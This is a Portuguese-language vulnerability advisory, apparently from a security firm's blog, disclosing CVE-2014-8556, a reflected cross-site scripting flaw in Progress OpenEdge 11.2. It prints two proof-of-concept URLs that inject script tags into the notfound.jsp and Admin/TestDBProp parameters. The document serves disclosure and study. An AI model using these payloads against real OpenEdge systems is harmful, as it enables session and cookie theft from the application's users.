CVE-2014-8556 Progress OpenEdge 11.2 – XSS Injection (Reflected)

Ao analisarmos a aplicação OpenEdge, identificamos algumas vulnerabilidades, após algumas tentativas de contato com a empresa sem sucesso decidimos por esperar a empresa lançar novas versões da aplicação para podermos divulgar as falhas, pois algumas podem ser utilizadas para o acesso indevido a arquivos sensíveis de computadores que utilizam a aplicação.
 


Seu Web Site está sob-ataque? Contrate nosso WAF!

 
Descrição da plataforma segundo o website do fabricante

O OpenEdge da Progress é a plataforma completa de desenvolvimento de aplicações, para construir aplicações de negócios dinâmicas e baseado em processos de negócios, para implementação segura em qualquer plataforma, qualquer dispositivo móvel e qualquer Cloud.

Interface web da aplicação
OpenEdge11.2_index

 

A falha de segurança

# Software: Progress OpenEdge
# Versão: 11.2
# Empresa: Progress Software
# Website: www.progress.com
# Vulnerabilidade: Cross Site Scripting (XSS Injection)
# CVE: CVE-2014-8556
# Autor: Mauricio Corrêa

O usuário malicioso envia uma requisição mal formada que gera a alteração do formulário HTML exibido ao usuário da aplicação, isto pode gerar um ataque originado em um link com script’s maliciosos incluídos ocultamente, este ataque pode originar o roubo de sessão e cookies assim como também pode gerar a execução de exploit’s no navegador da vítima.

 

http://the.target.ip:9090/resutil/notfound.jsp?key=undefined1&name=undefined2</td></tr></table><script>alert(“XLabs XSS Injection”)</script><td>

OpenEdge11.2_notfount.jsp

 

http://the.target.ip:9090/Admin/TestDBProp?Cancel=Cancel&dbname=addeltdq<scriptt>alert(“XLabs XSS Injection”)</script>&format=&key=1&Submit=Submit&vstquery=

OpenEdge11.2_TestDBProp





Facebook